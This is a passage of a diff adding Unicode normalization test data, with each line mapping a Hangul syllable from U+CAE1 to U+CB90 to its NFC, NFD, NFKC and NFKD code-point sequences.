+{ source: [0xCAE1], NFC: [0xCAE1], NFD: [0x110D, 0x116A, 0x11B0], NFKC: [0xCAE1], NFKD: [0x110D, 0x116A, 0x11B0] },
+{ source: [0xCAE2], NFC: [0xCAE2], NFD: [0x110D, 0x116A, 0x11B1], NFKC: [0xCAE2], NFKD: [0x110D, 0x116A, 0x11B1] },
+{ source: [0xCAE3], NFC: [0xCAE3], NFD: [0x110D, 0x116A, 0x11B2], NFKC: [0xCAE3], NFKD: [0x110D, 0x116A, 0x11B2] },
+{ source: [0xCAE4], NFC: [0xCAE4], NFD: [0x110D, 0x116A, 0x11B3], NFKC: [0xCAE4], NFKD: [0x110D, 0x116A, 0x11B3] },
+{ source: [0xCAE5], NFC: [0xCAE5], NFD: [0x110D, 0x116A, 0x11B4], NFKC: [0xCAE5], NFKD: [0x110D, 0x116A, 0x11B4] },
+{ source: [0xCAE6], NFC: [0xCAE6], NFD: [0x110D, 0x116A, 0x11B5], NFKC: [0xCAE6], NFKD: [0x110D, 0x116A, 0x11B5] },
+{ source: [0xCAE7], NFC: [0xCAE7], NFD: [0x110D, 0x116A, 0x11B6], NFKC: [0xCAE7], NFKD: [0x110D, 0x116A, 0x11B6] },
+{ source: [0xCAE8], NFC: [0xCAE8], NFD: [0x110D, 0x116A, 0x11B7], NFKC: [0xCAE8], NFKD: [0x110D, 0x116A, 0x11B7] },
+{ source: [0xCAE9], NFC: [0xCAE9], NFD: [0x110D, 0x116A, 0x11B8], NFKC: [0xCAE9], NFKD: [0x110D, 0x116A, 0x11B8] },
+{ source: [0xCAEA], NFC: [0xCAEA], NFD: [0x110D, 0x116A, 0x11B9], NFKC: [0xCAEA], NFKD: [0x110D, 0x116A, 0x11B9] },
+{ source: [0xCAEB], NFC: [0xCAEB], NFD: [0x110D, 0x116A, 0x11BA], NFKC: [0xCAEB], NFKD: [0x110D, 0x116A, 0x11BA] },
+{ source: [0xCAEC], NFC: [0xCAEC], NFD: [0x110D, 0x116A, 0x11BB], NFKC: [0xCAEC], NFKD: [0x110D, 0x116A, 0x11BB] },
+{ source: [0xCAED], NFC: [0xCAED], NFD: [0x110D, 0x116A, 0x11BC], NFKC: [0xCAED], NFKD: [0x110D, 0x116A, 0x11BC] },
+{ source: [0xCAEE], NFC: [0xCAEE], NFD: [0x110D, 0x116A, 0x11BD], NFKC: [0xCAEE], NFKD: [0x110D, 0x116A, 0x11BD] },
+{ source: [0xCAEF], NFC: [0xCAEF], NFD: [0x110D, 0x116A, 0x11BE], NFKC: [0xCAEF], NFKD: [0x110D, 0x116A, 0x11BE] },
+{ source: [0xCAF0], NFC: [0xCAF0], NFD: [0x110D, 0x116A, 0x11BF], NFKC: [0xCAF0], NFKD: [0x110D, 0x116A, 0x11BF] },
+{ source: [0xCAF1], NFC: [0xCAF1], NFD: [0x110D, 0x116A, 0x11C0], NFKC: [0xCAF1], NFKD: [0x110D, 0x116A, 0x11C0] },
+{ source: [0xCAF2], NFC: [0xCAF2], NFD: [0x110D, 0x116A, 0x11C1], NFKC: [0xCAF2], NFKD: [0x110D, 0x116A, 0x11C1] },
+{ source: [0xCAF3], NFC: [0xCAF3], NFD: [0x110D, 0x116A, 0x11C2], NFKC: [0xCAF3], NFKD: [0x110D, 0x116A, 0x11C2] },
+{ source: [0xCAF4], NFC: [0xCAF4], NFD: [0x110D, 0x116B], NFKC: [0xCAF4], NFKD: [0x110D, 0x116B] },
+{ source: [0xCAF5], NFC: [0xCAF5], NFD: [0x110D, 0x116B, 0x11A8], NFKC: [0xCAF5], NFKD: [0x110D, 0x116B, 0x11A8] },
+{ source: [0xCAF6], NFC: [0xCAF6], NFD: [0x110D, 0x116B, 0x11A9], NFKC: [0xCAF6], NFKD: [0x110D, 0x116B, 0x11A9] },
+{ source: [0xCAF7], NFC: [0xCAF7], NFD: [0x110D, 0x116B, 0x11AA], NFKC: [0xCAF7], NFKD: [0x110D, 0x116B, 0x11AA] },
+{ source: [0xCAF8], NFC: [0xCAF8], NFD: [0x110D, 0x116B, 0x11AB], NFKC: [0xCAF8], NFKD: [0x110D, 0x116B, 0x11AB] },
+{ source: [0xCAF9], NFC: [0xCAF9], NFD: [0x110D, 0x116B, 0x11AC], NFKC: [0xCAF9], NFKD: [0x110D, 0x116B, 0x11AC] },
+{ source: [0xCAFA], NFC: [0xCAFA], NFD: [0x110D, 0x116B, 0x11AD], NFKC: [0xCAFA], NFKD: [0x110D, 0x116B, 0x11AD] },
+{ source: [0xCAFB], NFC: [0xCAFB], NFD: [0x110D, 0x116B, 0x11AE], NFKC: [0xCAFB], NFKD: [0x110D, 0x116B, 0x11AE] },
+{ source: [0xCAFC], NFC: [0xCAFC], NFD: [0x110D, 0x116B, 0x11AF], NFKC: [0xCAFC], NFKD: [0x110D, 0x116B, 0x11AF] },
+{ source: [0xCAFD], NFC: [0xCAFD], NFD: [0x110D, 0x116B, 0x11B0], NFKC: [0xCAFD], NFKD: [0x110D, 0x116B, 0x11B0] },
+{ source: [0xCAFE], NFC: [0xCAFE], NFD: [0x110D, 0x116B, 0x11B1], NFKC: [0xCAFE], NFKD: [0x110D, 0x116B, 0x11B1] },
+{ source: [0xCAFF], NFC: [0xCAFF], NFD: [0x110D, 0x116B, 0x11B2], NFKC: [0xCAFF], NFKD: [0x110D, 0x116B, 0x11B2] },
+{ source: [0xCB00], NFC: [0xCB00], NFD: [0x110D, 0x116B, 0x11B3], NFKC: [0xCB00], NFKD: [0x110D, 0x116B, 0x11B3] },
+{ source: [0xCB01], NFC: [0xCB01], NFD: [0x110D, 0x116B, 0x11B4], NFKC: [0xCB01], NFKD: [0x110D, 0x116B, 0x11B4] },
+{ source: [0xCB02], NFC: [0xCB02], NFD: [0x110D, 0x116B, 0x11B5], NFKC: [0xCB02], NFKD: [0x110D, 0x116B, 0x11B5] },
+{ source: [0xCB03], NFC: [0xCB03], NFD: [0x110D, 0x116B, 0x11B6], NFKC: [0xCB03], NFKD: [0x110D, 0x116B, 0x11B6] },
+{ source: [0xCB04], NFC: [0xCB04], NFD: [0x110D, 0x116B, 0x11B7], NFKC: [0xCB04], NFKD: [0x110D, 0x116B, 0x11B7] },
+{ source: [0xCB05], NFC: [0xCB05], NFD: [0x110D, 0x116B, 0x11B8], NFKC: [0xCB05], NFKD: [0x110D, 0x116B, 0x11B8] },
+{ source: [0xCB06], NFC: [0xCB06], NFD: [0x110D, 0x116B, 0x11B9], NFKC: [0xCB06], NFKD: [0x110D, 0x116B, 0x11B9] },
+{ source: [0xCB07], NFC: [0xCB07], NFD: [0x110D, 0x116B, 0x11BA], NFKC: [0xCB07], NFKD: [0x110D, 0x116B, 0x11BA] },
+{ source: [0xCB08], NFC: [0xCB08], NFD: [0x110D, 0x116B, 0x11BB], NFKC: [0xCB08], NFKD: [0x110D, 0x116B, 0x11BB] },
+{ source: [0xCB09], NFC: [0xCB09], NFD: [0x110D, 0x116B, 0x11BC], NFKC: [0xCB09], NFKD: [0x110D, 0x116B, 0x11BC] },
+{ source: [0xCB0A], NFC: [0xCB0A], NFD: [0x110D, 0x116B, 0x11BD], NFKC: [0xCB0A], NFKD: [0x110D, 0x116B, 0x11BD] },
+{ source: [0xCB0B], NFC: [0xCB0B], NFD: [0x110D, 0x116B, 0x11BE], NFKC: [0xCB0B], NFKD: [0x110D, 0x116B, 0x11BE] },
+{ source: [0xCB0C], NFC: [0xCB0C], NFD: [0x110D, 0x116B, 0x11BF], NFKC: [0xCB0C], NFKD: [0x110D, 0x116B, 0x11BF] },
+{ source: [0xCB0D], NFC: [0xCB0D], NFD: [0x110D, 0x116B, 0x11C0], NFKC: [0xCB0D], NFKD: [0x110D, 0x116B, 0x11C0] },
+{ source: [0xCB0E], NFC: [0xCB0E], NFD: [0x110D, 0x116B, 0x11C1], NFKC: [0xCB0E], NFKD: [0x110D, 0x116B, 0x11C1] },
+{ source: [0xCB0F], NFC: [0xCB0F], NFD: [0x110D, 0x116B, 0x11C2], NFKC: [0xCB0F], NFKD: [0x110D, 0x116B, 0x11C2] },
+{ source: [0xCB10], NFC: [0xCB10], NFD: [0x110D, 0x116C], NFKC: [0xCB10], NFKD: [0x110D, 0x116C] },
+{ source: [0xCB11], NFC: [0xCB11], NFD: [0x110D, 0x116C, 0x11A8], NFKC: [0xCB11], NFKD: [0x110D, 0x116C, 0x11A8] },
+{ source: [0xCB12], NFC: [0xCB12], NFD: [0x110D, 0x116C, 0x11A9], NFKC: [0xCB12], NFKD: [0x110D, 0x116C, 0x11A9] },
+{ source: [0xCB13], NFC: [0xCB13], NFD: [0x110D, 0x116C, 0x11AA], NFKC: [0xCB13], NFKD: [0x110D, 0x116C, 0x11AA] },
+{ source: [0xCB14], NFC: [0xCB14], NFD: [0x110D, 0x116C, 0x11AB], NFKC: [0xCB14], NFKD: [0x110D, 0x116C, 0x11AB] },
+{ source: [0xCB15], NFC: [0xCB15], NFD: [0x110D, 0x116C, 0x11AC], NFKC: [0xCB15], NFKD: [0x110D, 0x116C, 0x11AC] },
+{ source: [0xCB16], NFC: [0xCB16], NFD: [0x110D, 0x116C, 0x11AD], NFKC: [0xCB16], NFKD: [0x110D, 0x116C, 0x11AD] },
+{ source: [0xCB17], NFC: [0xCB17], NFD: [0x110D, 0x116C, 0x11AE], NFKC: [0xCB17], NFKD: [0x110D, 0x116C, 0x11AE] },
+{ source: [0xCB18], NFC: [0xCB18], NFD: [0x110D, 0x116C, 0x11AF], NFKC: [0xCB18], NFKD: [0x110D, 0x116C, 0x11AF] },
+{ source: [0xCB19], NFC: [0xCB19], NFD: [0x110D, 0x116C, 0x11B0], NFKC: [0xCB19], NFKD: [0x110D, 0x116C, 0x11B0] },
+{ source: [0xCB1A], NFC: [0xCB1A], NFD: [0x110D, 0x116C, 0x11B1], NFKC: [0xCB1A], NFKD: [0x110D, 0x116C, 0x11B1] },
+{ source: [0xCB1B], NFC: [0xCB1B], NFD: [0x110D, 0x116C, 0x11B2], NFKC: [0xCB1B], NFKD: [0x110D, 0x116C, 0x11B2] },
+{ source: [0xCB1C], NFC: [0xCB1C], NFD: [0x110D, 0x116C, 0x11B3], NFKC: [0xCB1C], NFKD: [0x110D, 0x116C, 0x11B3] },
+{ source: [0xCB1D], NFC: [0xCB1D], NFD: [0x110D, 0x116C, 0x11B4], NFKC: [0xCB1D], NFKD: [0x110D, 0x116C, 0x11B4] },
+{ source: [0xCB1E], NFC: [0xCB1E], NFD: [0x110D, 0x116C, 0x11B5], NFKC: [0xCB1E], NFKD: [0x110D, 0x116C, 0x11B5] },
+{ source: [0xCB1F], NFC: [0xCB1F], NFD: [0x110D, 0x116C, 0x11B6], NFKC: [0xCB1F], NFKD: [0x110D, 0x116C, 0x11B6] },
+{ source: [0xCB20], NFC: [0xCB20], NFD: [0x110D, 0x116C, 0x11B7], NFKC: [0xCB20], NFKD: [0x110D, 0x116C, 0x11B7] },
+{ source: [0xCB21], NFC: [0xCB21], NFD: [0x110D, 0x116C, 0x11B8], NFKC: [0xCB21], NFKD: [0x110D, 0x116C, 0x11B8] },
+{ source: [0xCB22], NFC: [0xCB22], NFD: [0x110D, 0x116C, 0x11B9], NFKC: [0xCB22], NFKD: [0x110D, 0x116C, 0x11B9] },
+{ source: [0xCB23], NFC: [0xCB23], NFD: [0x110D, 0x116C, 0x11BA], NFKC: [0xCB23], NFKD: [0x110D, 0x116C, 0x11BA] },
+{ source: [0xCB24], NFC: [0xCB24], NFD: [0x110D, 0x116C, 0x11BB], NFKC: [0xCB24], NFKD: [0x110D, 0x116C, 0x11BB] },
+{ source: [0xCB25], NFC: [0xCB25], NFD: [0x110D, 0x116C, 0x11BC], NFKC: [0xCB25], NFKD: [0x110D, 0x116C, 0x11BC] },
+{ source: [0xCB26], NFC: [0xCB26], NFD: [0x110D, 0x116C, 0x11BD], NFKC: [0xCB26], NFKD: [0x110D, 0x116C, 0x11BD] },
+{ source: [0xCB27], NFC: [0xCB27], NFD: [0x110D, 0x116C, 0x11BE], NFKC: [0xCB27], NFKD: [0x110D, 0x116C, 0x11BE] },
+{ source: [0xCB28], NFC: [0xCB28], NFD: [0x110D, 0x116C, 0x11BF], NFKC: [0xCB28], NFKD: [0x110D, 0x116C, 0x11BF] },
+{ source: [0xCB29], NFC: [0xCB29], NFD: [0x110D, 0x116C, 0x11C0], NFKC: [0xCB29], NFKD: [0x110D, 0x116C, 0x11C0] },
+{ source: [0xCB2A], NFC: [0xCB2A], NFD: [0x110D, 0x116C, 0x11C1], NFKC: [0xCB2A], NFKD: [0x110D, 0x116C, 0x11C1] },
+{ source: [0xCB2B], NFC: [0xCB2B], NFD: [0x110D, 0x116C, 0x11C2], NFKC: [0xCB2B], NFKD: [0x110D, 0x116C, 0x11C2] },
+{ source: [0xCB2C], NFC: [0xCB2C], NFD: [0x110D, 0x116D], NFKC: [0xCB2C], NFKD: [0x110D, 0x116D] },
+{ source: [0xCB2D], NFC: [0xCB2D], NFD: [0x110D, 0x116D, 0x11A8], NFKC: [0xCB2D], NFKD: [0x110D, 0x116D, 0x11A8] },
+{ source: [0xCB2E], NFC: [0xCB2E], NFD: [0x110D, 0x116D, 0x11A9], NFKC: [0xCB2E], NFKD: [0x110D, 0x116D, 0x11A9] },
+{ source: [0xCB2F], NFC: [0xCB2F], NFD: [0x110D, 0x116D, 0x11AA], NFKC: [0xCB2F], NFKD: [0x110D, 0x116D, 0x11AA] },
+{ source: [0xCB30], NFC: [0xCB30], NFD: [0x110D, 0x116D, 0x11AB], NFKC: [0xCB30], NFKD: [0x110D, 0x116D, 0x11AB] },
+{ source: [0xCB31], NFC: [0xCB31], NFD: [0x110D, 0x116D, 0x11AC], NFKC: [0xCB31], NFKD: [0x110D, 0x116D, 0x11AC] },
+{ source: [0xCB32], NFC: [0xCB32], NFD: [0x110D, 0x116D, 0x11AD], NFKC: [0xCB32], NFKD: [0x110D, 0x116D, 0x11AD] },
+{ source: [0xCB33], NFC: [0xCB33], NFD: [0x110D, 0x116D, 0x11AE], NFKC: [0xCB33], NFKD: [0x110D, 0x116D, 0x11AE] },
+{ source: [0xCB34], NFC: [0xCB34], NFD: [0x110D, 0x116D, 0x11AF], NFKC: [0xCB34], NFKD: [0x110D, 0x116D, 0x11AF] },
+{ source: [0xCB35], NFC: [0xCB35], NFD: [0x110D, 0x116D, 0x11B0], NFKC: [0xCB35], NFKD: [0x110D, 0x116D, 0x11B0] },
+{ source: [0xCB36], NFC: [0xCB36], NFD: [0x110D, 0x116D, 0x11B1], NFKC: [0xCB36], NFKD: [0x110D, 0x116D, 0x11B1] },
+{ source: [0xCB37], NFC: [0xCB37], NFD: [0x110D, 0x116D, 0x11B2], NFKC: [0xCB37], NFKD: [0x110D, 0x116D, 0x11B2] },
+{ source: [0xCB38], NFC: [0xCB38], NFD: [0x110D, 0x116D, 0x11B3], NFKC: [0xCB38], NFKD: [0x110D, 0x116D, 0x11B3] },
+{ source: [0xCB39], NFC: [0xCB39], NFD: [0x110D, 0x116D, 0x11B4], NFKC: [0xCB39], NFKD: [0x110D, 0x116D, 0x11B4] },
+{ source: [0xCB3A], NFC: [0xCB3A], NFD: [0x110D, 0x116D, 0x11B5], NFKC: [0xCB3A], NFKD: [0x110D, 0x116D, 0x11B5] },
+{ source: [0xCB3B], NFC: [0xCB3B], NFD: [0x110D, 0x116D, 0x11B6], NFKC: [0xCB3B], NFKD: [0x110D, 0x116D, 0x11B6] },
+{ source: [0xCB3C], NFC: [0xCB3C], NFD: [0x110D, 0x116D, 0x11B7], NFKC: [0xCB3C], NFKD: [0x110D, 0x116D, 0x11B7] },
+{ source: [0xCB3D], NFC: [0xCB3D], NFD: [0x110D, 0x116D, 0x11B8], NFKC: [0xCB3D], NFKD: [0x110D, 0x116D, 0x11B8] },
+{ source: [0xCB3E], NFC: [0xCB3E], NFD: [0x110D, 0x116D, 0x11B9], NFKC: [0xCB3E], NFKD: [0x110D, 0x116D, 0x11B9] },
+{ source: [0xCB3F], NFC: [0xCB3F], NFD: [0x110D, 0x116D, 0x11BA], NFKC: [0xCB3F], NFKD: [0x110D, 0x116D, 0x11BA] },
+{ source: [0xCB40], NFC: [0xCB40], NFD: [0x110D, 0x116D, 0x11BB], NFKC: [0xCB40], NFKD: [0x110D, 0x116D, 0x11BB] },
+{ source: [0xCB41], NFC: [0xCB41], NFD: [0x110D, 0x116D, 0x11BC], NFKC: [0xCB41], NFKD: [0x110D, 0x116D, 0x11BC] },
+{ source: [0xCB42], NFC: [0xCB42], NFD: [0x110D, 0x116D, 0x11BD], NFKC: [0xCB42], NFKD: [0x110D, 0x116D, 0x11BD] },
+{ source: [0xCB43], NFC: [0xCB43], NFD: [0x110D, 0x116D, 0x11BE], NFKC: [0xCB43], NFKD: [0x110D, 0x116D, 0x11BE] },
+{ source: [0xCB44], NFC: [0xCB44], NFD: [0x110D, 0x116D, 0x11BF], NFKC: [0xCB44], NFKD: [0x110D, 0x116D, 0x11BF] },
+{ source: [0xCB45], NFC: [0xCB45], NFD: [0x110D, 0x116D, 0x11C0], NFKC: [0xCB45], NFKD: [0x110D, 0x116D, 0x11C0] },
+{ source: [0xCB46], NFC: [0xCB46], NFD: [0x110D, 0x116D, 0x11C1], NFKC: [0xCB46], NFKD: [0x110D, 0x116D, 0x11C1] },
+{ source: [0xCB47], NFC: [0xCB47], NFD: [0x110D, 0x116D, 0x11C2], NFKC: [0xCB47], NFKD: [0x110D, 0x116D, 0x11C2] },
+{ source: [0xCB48], NFC: [0xCB48], NFD: [0x110D, 0x116E], NFKC: [0xCB48], NFKD: [0x110D, 0x116E] },
+{ source: [0xCB49], NFC: [0xCB49], NFD: [0x110D, 0x116E, 0x11A8], NFKC: [0xCB49], NFKD: [0x110D, 0x116E, 0x11A8] },
+{ source: [0xCB4A], NFC: [0xCB4A], NFD: [0x110D, 0x116E, 0x11A9], NFKC: [0xCB4A], NFKD: [0x110D, 0x116E, 0x11A9] },
+{ source: [0xCB4B], NFC: [0xCB4B], NFD: [0x110D, 0x116E, 0x11AA], NFKC: [0xCB4B], NFKD: [0x110D, 0x116E, 0x11AA] },
+{ source: [0xCB4C], NFC: [0xCB4C], NFD: [0x110D, 0x116E, 0x11AB], NFKC: [0xCB4C], NFKD: [0x110D, 0x116E, 0x11AB] },
+{ source: [0xCB4D], NFC: [0xCB4D], NFD: [0x110D, 0x116E, 0x11AC], NFKC: [0xCB4D], NFKD: [0x110D, 0x116E, 0x11AC] },
+{ source: [0xCB4E], NFC: [0xCB4E], NFD: [0x110D, 0x116E, 0x11AD], NFKC: [0xCB4E], NFKD: [0x110D, 0x116E, 0x11AD] },
+{ source: [0xCB4F], NFC: [0xCB4F], NFD: [0x110D, 0x116E, 0x11AE], NFKC: [0xCB4F], NFKD: [0x110D, 0x116E, 0x11AE] },
+{ source: [0xCB50], NFC: [0xCB50], NFD: [0x110D, 0x116E, 0x11AF], NFKC: [0xCB50], NFKD: [0x110D, 0x116E, 0x11AF] },
+{ source: [0xCB51], NFC: [0xCB51], NFD: [0x110D, 0x116E, 0x11B0], NFKC: [0xCB51], NFKD: [0x110D, 0x116E, 0x11B0] },
+{ source: [0xCB52], NFC: [0xCB52], NFD: [0x110D, 0x116E, 0x11B1], NFKC: [0xCB52], NFKD: [0x110D, 0x116E, 0x11B1] },
+{ source: [0xCB53], NFC: [0xCB53], NFD: [0x110D, 0x116E, 0x11B2], NFKC: [0xCB53], NFKD: [0x110D, 0x116E, 0x11B2] },
+{ source: [0xCB54], NFC: [0xCB54], NFD: [0x110D, 0x116E, 0x11B3], NFKC: [0xCB54], NFKD: [0x110D, 0x116E, 0x11B3] },
+{ source: [0xCB55], NFC: [0xCB55], NFD: [0x110D, 0x116E, 0x11B4], NFKC: [0xCB55], NFKD: [0x110D, 0x116E, 0x11B4] },
+{ source: [0xCB56], NFC: [0xCB56], NFD: [0x110D, 0x116E, 0x11B5], NFKC: [0xCB56], NFKD: [0x110D, 0x116E, 0x11B5] },
+{ source: [0xCB57], NFC: [0xCB57], NFD: [0x110D, 0x116E, 0x11B6], NFKC: [0xCB57], NFKD: [0x110D, 0x116E, 0x11B6] },
+{ source: [0xCB58], NFC: [0xCB58], NFD: [0x110D, 0x116E, 0x11B7], NFKC: [0xCB58], NFKD: [0x110D, 0x116E, 0x11B7] },
+{ source: [0xCB59], NFC: [0xCB59], NFD: [0x110D, 0x116E, 0x11B8], NFKC: [0xCB59], NFKD: [0x110D, 0x116E, 0x11B8] },
+{ source: [0xCB5A], NFC: [0xCB5A], NFD: [0x110D, 0x116E, 0x11B9], NFKC: [0xCB5A], NFKD: [0x110D, 0x116E, 0x11B9] },
+{ source: [0xCB5B], NFC: [0xCB5B], NFD: [0x110D, 0x116E, 0x11BA], NFKC: [0xCB5B], NFKD: [0x110D, 0x116E, 0x11BA] },
+{ source: [0xCB5C], NFC: [0xCB5C], NFD: [0x110D, 0x116E, 0x11BB], NFKC: [0xCB5C], NFKD: [0x110D, 0x116E, 0x11BB] },
+{ source: [0xCB5D], NFC: [0xCB5D], NFD: [0x110D, 0x116E, 0x11BC], NFKC: [0xCB5D], NFKD: [0x110D, 0x116E, 0x11BC] },
+{ source: [0xCB5E], NFC: [0xCB5E], NFD: [0x110D, 0x116E, 0x11BD], NFKC: [0xCB5E], NFKD: [0x110D, 0x116E, 0x11BD] },
+{ source: [0xCB5F], NFC: [0xCB5F], NFD: [0x110D, 0x116E, 0x11BE], NFKC: [0xCB5F], NFKD: [0x110D, 0x116E, 0x11BE] },
+{ source: [0xCB60], NFC: [0xCB60], NFD: [0x110D, 0x116E, 0x11BF], NFKC: [0xCB60], NFKD: [0x110D, 0x116E, 0x11BF] },
+{ source: [0xCB61], NFC: [0xCB61], NFD: [0x110D, 0x116E, 0x11C0], NFKC: [0xCB61], NFKD: [0x110D, 0x116E, 0x11C0] },
+{ source: [0xCB62], NFC: [0xCB62], NFD: [0x110D, 0x116E, 0x11C1], NFKC: [0xCB62], NFKD: [0x110D, 0x116E, 0x11C1] },
+{ source: [0xCB63], NFC: [0xCB63], NFD: [0x110D, 0x116E, 0x11C2], NFKC: [0xCB63], NFKD: [0x110D, 0x116E, 0x11C2] },
+{ source: [0xCB64], NFC: [0xCB64], NFD: [0x110D, 0x116F], NFKC: [0xCB64], NFKD: [0x110D, 0x116F] },
+{ source: [0xCB65], NFC: [0xCB65], NFD: [0x110D, 0x116F, 0x11A8], NFKC: [0xCB65], NFKD: [0x110D, 0x116F, 0x11A8] },
+{ source: [0xCB66], NFC: [0xCB66], NFD: [0x110D, 0x116F, 0x11A9], NFKC: [0xCB66], NFKD: [0x110D, 0x116F, 0x11A9] },
+{ source: [0xCB67], NFC: [0xCB67], NFD: [0x110D, 0x116F, 0x11AA], NFKC: [0xCB67], NFKD: [0x110D, 0x116F, 0x11AA] },
+{ source: [0xCB68], NFC: [0xCB68], NFD: [0x110D, 0x116F, 0x11AB], NFKC: [0xCB68], NFKD: [0x110D, 0x116F, 0x11AB] },
+{ source: [0xCB69], NFC: [0xCB69], NFD: [0x110D, 0x116F, 0x11AC], NFKC: [0xCB69], NFKD: [0x110D, 0x116F, 0x11AC] },
+{ source: [0xCB6A], NFC: [0xCB6A], NFD: [0x110D, 0x116F, 0x11AD], NFKC: [0xCB6A], NFKD: [0x110D, 0x116F, 0x11AD] },
+{ source: [0xCB6B], NFC: [0xCB6B], NFD: [0x110D, 0x116F, 0x11AE], NFKC: [0xCB6B], NFKD: [0x110D, 0x116F, 0x11AE] },
+{ source: [0xCB6C], NFC: [0xCB6C], NFD: [0x110D, 0x116F, 0x11AF], NFKC: [0xCB6C], NFKD: [0x110D, 0x116F, 0x11AF] },
+{ source: [0xCB6D], NFC: [0xCB6D], NFD: [0x110D, 0x116F, 0x11B0], NFKC: [0xCB6D], NFKD: [0x110D, 0x116F, 0x11B0] },
+{ source: [0xCB6E], NFC: [0xCB6E], NFD: [0x110D, 0x116F, 0x11B1], NFKC: [0xCB6E], NFKD: [0x110D, 0x116F, 0x11B1] },
+{ source: [0xCB6F], NFC: [0xCB6F], NFD: [0x110D, 0x116F, 0x11B2], NFKC: [0xCB6F], NFKD: [0x110D, 0x116F, 0x11B2] },
+{ source: [0xCB70], NFC: [0xCB70], NFD: [0x110D, 0x116F, 0x11B3], NFKC: [0xCB70], NFKD: [0x110D, 0x116F, 0x11B3] },
+{ source: [0xCB71], NFC: [0xCB71], NFD: [0x110D, 0x116F, 0x11B4], NFKC: [0xCB71], NFKD: [0x110D, 0x116F, 0x11B4] },
+{ source: [0xCB72], NFC: [0xCB72], NFD: [0x110D, 0x116F, 0x11B5], NFKC: [0xCB72], NFKD: [0x110D, 0x116F, 0x11B5] },
+{ source: [0xCB73], NFC: [0xCB73], NFD: [0x110D, 0x116F, 0x11B6], NFKC: [0xCB73], NFKD: [0x110D, 0x116F, 0x11B6] },
+{ source: [0xCB74], NFC: [0xCB74], NFD: [0x110D, 0x116F, 0x11B7], NFKC: [0xCB74], NFKD: [0x110D, 0x116F, 0x11B7] },
+{ source: [0xCB75], NFC: [0xCB75], NFD: [0x110D, 0x116F, 0x11B8], NFKC: [0xCB75], NFKD: [0x110D, 0x116F, 0x11B8] },
+{ source: [0xCB76], NFC: [0xCB76], NFD: [0x110D, 0x116F, 0x11B9], NFKC: [0xCB76], NFKD: [0x110D, 0x116F, 0x11B9] },
+{ source: [0xCB77], NFC: [0xCB77], NFD: [0x110D, 0x116F, 0x11BA], NFKC: [0xCB77], NFKD: [0x110D, 0x116F, 0x11BA] },
+{ source: [0xCB78], NFC: [0xCB78], NFD: [0x110D, 0x116F, 0x11BB], NFKC: [0xCB78], NFKD: [0x110D, 0x116F, 0x11BB] },
+{ source: [0xCB79], NFC: [0xCB79], NFD: [0x110D, 0x116F, 0x11BC], NFKC: [0xCB79], NFKD: [0x110D, 0x116F, 0x11BC] },
+{ source: [0xCB7A], NFC: [0xCB7A], NFD: [0x110D, 0x116F, 0x11BD], NFKC: [0xCB7A], NFKD: [0x110D, 0x116F, 0x11BD] },
+{ source: [0xCB7B], NFC: [0xCB7B], NFD: [0x110D, 0x116F, 0x11BE], NFKC: [0xCB7B], NFKD: [0x110D, 0x116F, 0x11BE] },
+{ source: [0xCB7C], NFC: [0xCB7C], NFD: [0x110D, 0x116F, 0x11BF], NFKC: [0xCB7C], NFKD: [0x110D, 0x116F, 0x11BF] },
+{ source: [0xCB7D], NFC: [0xCB7D], NFD: [0x110D, 0x116F, 0x11C0], NFKC: [0xCB7D], NFKD: [0x110D, 0x116F, 0x11C0] },
+{ source: [0xCB7E], NFC: [0xCB7E], NFD: [0x110D, 0x116F, 0x11C1], NFKC: [0xCB7E], NFKD: [0x110D, 0x116F, 0x11C1] },
+{ source: [0xCB7F], NFC: [0xCB7F], NFD: [0x110D, 0x116F, 0x11C2], NFKC: [0xCB7F], NFKD: [0x110D, 0x116F, 0x11C2] },
+{ source: [0xCB80], NFC: [0xCB80], NFD: [0x110D, 0x1170], NFKC: [0xCB80], NFKD: [0x110D, 0x1170] },
+{ source: [0xCB81], NFC: [0xCB81], NFD: [0x110D, 0x1170, 0x11A8], NFKC: [0xCB81], NFKD: [0x110D, 0x1170, 0x11A8] },
+{ source: [0xCB82], NFC: [0xCB82], NFD: [0x110D, 0x1170, 0x11A9], NFKC: [0xCB82], NFKD: [0x110D, 0x1170, 0x11A9] },
+{ source: [0xCB83], NFC: [0xCB83], NFD: [0x110D, 0x1170, 0x11AA], NFKC: [0xCB83], NFKD: [0x110D, 0x1170, 0x11AA] },
+{ source: [0xCB84], NFC: [0xCB84], NFD: [0x110D, 0x1170, 0x11AB], NFKC: [0xCB84], NFKD: [0x110D, 0x1170, 0x11AB] },
+{ source: [0xCB85], NFC: [0xCB85], NFD: [0x110D, 0x1170, 0x11AC], NFKC: [0xCB85], NFKD: [0x110D, 0x1170, 0x11AC] },
+{ source: [0xCB86], NFC: [0xCB86], NFD: [0x110D, 0x1170, 0x11AD], NFKC: [0xCB86], NFKD: [0x110D, 0x1170, 0x11AD] },
+{ source: [0xCB87], NFC: [0xCB87], NFD: [0x110D, 0x1170, 0x11AE], NFKC: [0xCB87], NFKD: [0x110D, 0x1170, 0x11AE] },
+{ source: [0xCB88], NFC: [0xCB88], NFD: [0x110D, 0x1170, 0x11AF], NFKC: [0xCB88], NFKD: [0x110D, 0x1170, 0x11AF] },
+{ source: [0xCB89], NFC: [0xCB89], NFD: [0x110D, 0x1170, 0x11B0], NFKC: [0xCB89], NFKD: [0x110D, 0x1170, 0x11B0] },
+{ source: [0xCB8A], NFC: [0xCB8A], NFD: [0x110D, 0x1170, 0x11B1], NFKC: [0xCB8A], NFKD: [0x110D, 0x1170, 0x11B1] },
+{ source: [0xCB8B], NFC: [0xCB8B], NFD: [0x110D, 0x1170, 0x11B2], NFKC: [0xCB8B], NFKD: [0x110D, 0x1170, 0x11B2] },
+{ source: [0xCB8C], NFC: [0xCB8C], NFD: [0x110D, 0x1170, 0x11B3], NFKC: [0xCB8C], NFKD: [0x110D, 0x1170, 0x11B3] },
+{ source: [0xCB8D], NFC: [0xCB8D], NFD: [0x110D, 0x1170, 0x11B4], NFKC: [0xCB8D], NFKD: [0x110D, 0x1170, 0x11B4] },
+{ source: [0xCB8E], NFC: [0xCB8E], NFD: [0x110D, 0x1170, 0x11B5], NFKC: [0xCB8E], NFKD: [0x110D, 0x1170, 0x11B5] },
+{ source: [0xCB8F], NFC: [0xCB8F], NFD: [0x110D, 0x1170, 0x11B6], NFKC: [0xCB8F], NFKD: [0x110D, 0x1170, 0x11B6] },
+{ source: [0xCB90], NFC: [0xCB90], NFD: [0x110D, 0x1170, 0x11B7], NFKC: [0xCB90], NFKD: [0x110D, 0x1170, 0x11B7] },
